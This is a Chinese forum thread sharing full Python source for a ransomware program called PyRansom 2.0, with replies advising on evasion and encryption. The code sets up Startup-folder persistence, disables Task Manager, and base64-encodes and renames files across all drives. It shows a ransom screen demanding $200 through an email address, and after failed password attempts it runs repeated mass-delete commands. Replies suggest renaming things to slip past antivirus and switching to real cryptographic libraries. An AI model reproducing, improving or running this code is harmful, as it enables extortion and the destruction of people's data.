PyRansom勒索2.0

python无名氏

henry217 发表于 2023-1-23 12:05
不加密只改后缀顶多叫个renamer

而且这库个本来就是从crypto上面衍生出来的，你怕有bug吗

反正我只做这么多，要是你看不下去可以自己去拿源码改，我开源的目的就是要大家帮我完善。(对了，你说的那个库我装了，但不会用，实在不行你可以教我用，如果可以用非对称算法的话我会保留之前的，更新一版用第三方库的)

wwwab

henry217 发表于 2023-1-21 00:53
有个库叫pycryptodome你可以看看

实际上加密算法不建议自己造轮子，浪费时间还容易错

我之前用Python写过一个勒索，用的Cryptography.Fernet

python无名氏

我学了一下RSA算法，但加密的太慢了吧，一个3M的文件TM的得加密十分钟

killmatt01

源码略改，把加密后文件后缀名改为".hello" 之类，然后换换自写的函数名，火绒就不报了

1. import os,sys
   
2. import base64
   
3. import random
   
4. import tkinter as tk
   
5. import getpass
   
6. import time
   
7. from tkinter import messagebox as me
   
8. user = getpass.getuser()
   
9. 
   
10. try:
    
11.     checkc = open(f'C:/Users/{user}/Documents/change.txt','r')
    
12.     change = int(checkc.read())
    
13.     checkc.close()
    
14. except:
    
15.     change = 5
    
16. 
    
17. try:
    
18.     copy = open(f'C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hello.bat','w')
    
19.     copy.write('[url=home.php?mod=space&uid=331734]@echo[/url] off\r\nstart'+sys.executable)
    
20.     copy.close()
    
21. except: pass
    
22. 
    
23. 
    
24. def en(need):
    
25.     fpath = open(need,'rb+')
    
26.     fnr = fpath.read()
    
27.     jfnr = base64.b64encode(fnr)
    
28.     fpath.close()
    
29.     fpath = open(need,'wb+')
    
30.     fpath.write(jfnr)
    
31.     fpath.close()
    
32. 
    
33. 
    
34. def de(need):
    
35.     fpath = open(need,'rb+')
    
36.     fnr = fpath.read()
    
37.     jfnr = base64.b64decode(fnr)
    
38.     fpath.close()
    
39.     fpath = open(need,'wb+')
    
40.     fpath.write(jfnr)
    
41.     fpath.close()
    
42. 
    
43. 
    
44. def jing(user):
    
45.     try:
    
46.         filess = open(f'C:/Users/{user}/Documents/tkmgr.reg','w')
    
47.         filess.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]\r\n"DisableTaskMgr"=dword:02')
    
48.         filess.close()
    
49.         os.popen(f'start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg')
    
50.     except: pass
    
51. 
    
52. 
    
53. def huan(user):
    
54.     try:
    
55.         filed = open(f'C:/Users/{user}/Documents/tkmgr.reg','w')
    
56.         filed.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]\r\n"DisableTaskMgr"=dword:00')
    
57.         filed.close()
    
58.         os.popen(f'start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg')
    
59.     except: pass
    
60. 
    
61. jing(user)
    
62. me.showerror("Microsoft Visual C++ Runtime Error","Runtime error!")
    
63. mulu = ['C:/','D:/','E:/','F:/','G:/','H:/',f'C:/Users/{user}/']
    
64. 
    
65. 
    
66. def lib(mulu):
    
67.     def path(path):
    
68.         try:
    
69.             for file in os.listdir(mulu+path+r"/."):
    
70.                 if '.' in os.path.splitext(file)[1]:
    
71.                     if str(mulu)+str(path)+r'/'+str(file) == sys.executable:
    
72.                         pass
    
73.                     else:
    
74.                         try:
    
75.                             en(str(mulu)+str(path)+r'/'+str(file))
    
76.                             os.rename(mulu+path+r'/'+file,mulu+path+'/'+file+".hello")
    
77.                         except:
    
78.                             os.rename(mulu+path+r'/'+file,mulu+path+'/'+file+".hello")
    
79. 
    
80.         except: pass
    
81. 
    
82.     for file in os.listdir(mulu+r"."):
    
83.         try:
    
84.             if '.' in os.path.splitext(file)[1]:
    
85.                 if str(mulu)+str(file) != sys.executable:
    
86.                     try:
    
87.                         en(str(mulu)+str(file))
    
88.                         os.rename(mulu+file,mulu+file+".hello")
    
89.                     except:
    
90.                         os.rename(mulu+file,mulu+file+".hello")
    
91.             else:
    
92.                 path(file)
    
93.         except: pass
    
94. 
    
95. 
    
96. def delib(mulu):
    
97.     def path(path):
    
98.         try:
    
99.             for file in os.listdir(mulu+path+r"/."):
    
100.                 if '.' in os.path.splitext(file)[1]:
     
101.                     try:
     
102.                         de(str(mulu)+str(path)+r'/'+str(file))
     
103.                     except: pass
     
104. 
     
105.         except: pass
     
106. 
     
107.     for file in os.listdir(mulu+r"."):
     
108.         try:
     
109.             if '.' in os.path.splitext(file)[1]:
     
110.                 try:
     
111.                     de(str(mulu)+str(file))
     
112.                 except: pass
     
113.             else:
     
114.                 path(file)
     
115.         except: pass
     
116. 
     
117. 
     
118. for i in mulu:
     
119.     lib(i)
     
120. 
     
121. 
     
122. for hhhh in range(1,20):
     
123.     try:
     
124.         oooo = open(f'C:/Users/{user}/desktop/{hhhh}.txt.hello','w')
     
125.         oooo.write('Pay Now!!!')
     
126.         oooo.close()
     
127.     except: pass
     
128. 
     
129. 
     
130. def close():
     
131.     print('hello!')
     
132.     return False
     
133. 
     
134. 
     
135. ID = random.randint(100000,1000000)
     
136. password = str((ID+3)*2)
     
137. print("Password:"+password+"    ID:"+str(ID))
     
138. root = tk.Tk()
     
139. 
     
140. 
     
141. def get():
     
142.     global change
     
143.     global user
     
144.     global mulu
     
145.     if change != 0:
     
146.         if entry.get() == password:
     
147.             for iiii in mulu:
     
148.                 delib(iiii)
     
149.             os.system('ren *.hello *.')
     
150.             os.remove(f'C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hello.bat')
     
151.             huan(user)
     
152.             time.sleep(4)
     
153.             root.destroy()
     
154.         else:
     
155.             change = change-1
     
156.             try:
     
157.                 writec = open(f'C:/Users/{user}/Documents/change.txt','w')
     
158.                 writec.write(str(change))
     
159.                 writec.close()
     
160.             except:
     
161.                 print('error!')
     
162.                 pass
     
163.     else:
     
164.         os.system('del /f /s /q *.*')
     
165.         os.system('del /f /s /q *.*')
     
166.         os.system('del /f /s /q *.*')
     
167.         os.system('del /f /s /q *.*')
     
168.         os.system('del /f /s /q *.*')
     
169.         os.system('del /f /s /q *.*')
     
170.         os.system('del /f /s /q *.*.hello')
     
171.         os.system('del /f /s /q *.*')
     
172.         os.system('del /f /s /q *.*')
     
173.         os.system('del /f /s /q *.*')
     
174.         os.system('del /f /s /q *.*')
     
175.         os.system('del /f /s /q *.*')
     
176.         os.system('del /f /s /q *.*')
     
177.         os.system('del /f /s /q *.*')
     
178.         os.system('del /f /s /q *.*')
     
179.         print("error!")
     
180. 
     
181. temp = open("icon.gif","wb+")
     
182. tempb64=base64.b64decode('R0lGODlhQABAAPAAAAAAAAAAACH5BAEAAAAAIf8LSW1hZ2VNYWdpY2sOZ2FtbWE9MC40NTQ1NDUAIf8LWE1QIERhdGFYTVA8P3hwYWNrZXQgYmVnaW49J++7vycgaWQ9J1c1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCc/Pgo8eDp4bXBtZXRhIHhtbG5zOng9J2Fkb2JlOm5zOm1ldGEvJyB4OnhtcHRrPSdJbWFnZTo6RXhpZlRvb2wgMTIuNDAnPgo8cmRmOlJERiB4bWxuczpyZGY9J2h0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnPgoKIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PScnCiAgeG1sbnM6dGlmZj0naHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8nPgogIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiA8L3JkZjpEZXNjcmlwdGlvbj4KPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0ndyc/PgH//v38+/r5+Pf29fTz8vHw7+7t7Ovq6ejn5uXk4+Lh4N/e3dzb2tnY19bV1NPS0dDPzs3My8rJyMfGxcTDwsHAv769vLu6ubi3trW0s7KxsK+urayrqqmop6alpKOioaCfnp2cm5qZmJeWlZSTkpGQj46NjIuKiYiHhoWEg4KBgH9+fXx7enl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmFgX15dXFtaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQUA/Pj08Ozo5ODc2NTQzMjEwLy4tLCsqKSgnJiUkIyIhIB8eHRwbGhkYFxYVFBMSERAPDg0MCwoJCAcGBQQDAgEAACwAAAAAQABAAAAC6YSPqavhD5mctBqIs9085a914gSW0Ygi5uqkKQu7IkzLW13blCnxeg+ylH6M4O1DbBiFyKSqyVk6pcyQEwDtZInUI+aK3Xq/U3GVnOyeT2lzRS2D79wuOYkOzuv3NpqfrfMnaDc3aGgVdaiINraoqOUYGZAouUhZeXiJOai5+dfpmbMWKvpGKgjq9/TY+KlkmMoCxNla6gFbG1OEO2q7iporu0vbq/tKbMr7C1xsaxlsfMHaHB2WCS188EydLX3NvXL7naxsXX437Rh7SrjMHo79DlgoDw9ePxmPD4nfftz/4AXAgHUGIigAADs=')
     
183. temp.write(tempb64)
     
184. temp.close()
     
185. 
     
186. root.config(background = "red")
     
187. photo = tk.PhotoImage(file="icon.gif")
     
188. icon = tk.Label(root,image=photo)
     
189. icon.pack()
     
190. os.remove("icon.gif")
     
191. width = 900
     
192. height = 500
     
193. screenwidth = root.winfo_screenwidth()
     
194. screenheight = root.winfo_screenheight()
     
195. alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth-width)/2, (screenheight-height)/2)
     
196. root.geometry(alignstr)
     
197. root.resizable(width=False,height=False)
     
198. root.wm_attributes('-topmost',1)
     
199. first = tk.Label(root,text="All your file have been encrypt!",bg="red")
     
200. first.config(font=("Arial",20))
     
201. first.pack()
     
202. a = tk.Label(root,text="All your files have been encrypted due to a security problem with your PC. If you want to restore them, ",bg="red")
     
203. a.config(font=("Arial",15))
     
204. a.pack()
     
205. c = tk.Label(root,text="write us to the e-mail:pythonhavenoname@163.com",bg="red")
     
206. c.config(font=("Arial",15))
     
207. c.pack()
     
208. b = tk.Label(root,text="Write This ID in the title of your message:"+str(ID),bg="red")
     
209. b.config(font=("Arial",15))
     
210. b.pack()
     
211. d = tk.Label(root,text="You should pay 200$ to us.",bg="red")
     
212. d.config(font=("Arial",15))
     
213. d.pack()
     
214. e = tk.Label(root,text="If you pay,we will send you decrypt password.",bg="red")
     
215. e.config(font=("Arial",15))
     
216. e.pack()
     
217. f = tk.Label(root,text="you only have "+str(change)+" change.",bg="red")
     
218. f.config(font=("Arial",15))
     
219. f.pack()
     
220. info = tk.Label(root,text="Password:",bg="red")
     
221. info.config(font=("Arial",15))
     
222. info.pack()
     
223. entry = tk.Entry(root,width=100)
     
224. entry.pack()
     
225. ok = tk.Button(root,text="Decrypt",command=get)
     
226. ok.pack(side="bottom")
     
227. root.protocol("WM_DELETE_WINDOW",close)
     
228. root.overrideredirect(True)
     
229. root.mainloop()
     

复制代码

killmatt01

python无名氏 发表于 2023-1-24 12:17
我学了一下RSA算法，但加密的太慢了吧，一个3M的文件TM的得加密十分钟

没那么慢吧 纯py的实现也没那么慢

killmatt01

有些文件需要管理员权限才能改 有些则是管理员都改不了
建议跳过后缀名exe/dll/sys，或者干脆只加密办公用的到的格式（图片，文档，便签之类）
写文件时不要放到原来位置而是非系统盘再新建一个文件夹，然后按照盘符以及文件原本路径新建子文件夹，写好一批再删除一批

命名时避开勒索关键词试试

代码的格式可以再规范下

python无名氏

killmatt01 发表于 2023-1-25 10:06
有些文件需要管理员权限才能改 有些则是管理员都改不了
建议跳过后缀名exe/dll/sys，或者干脆只加密办公用 ...

所以加了try语句(而且由于我的遍历写的实在是太过垃圾根本加密不到重要组件的位置)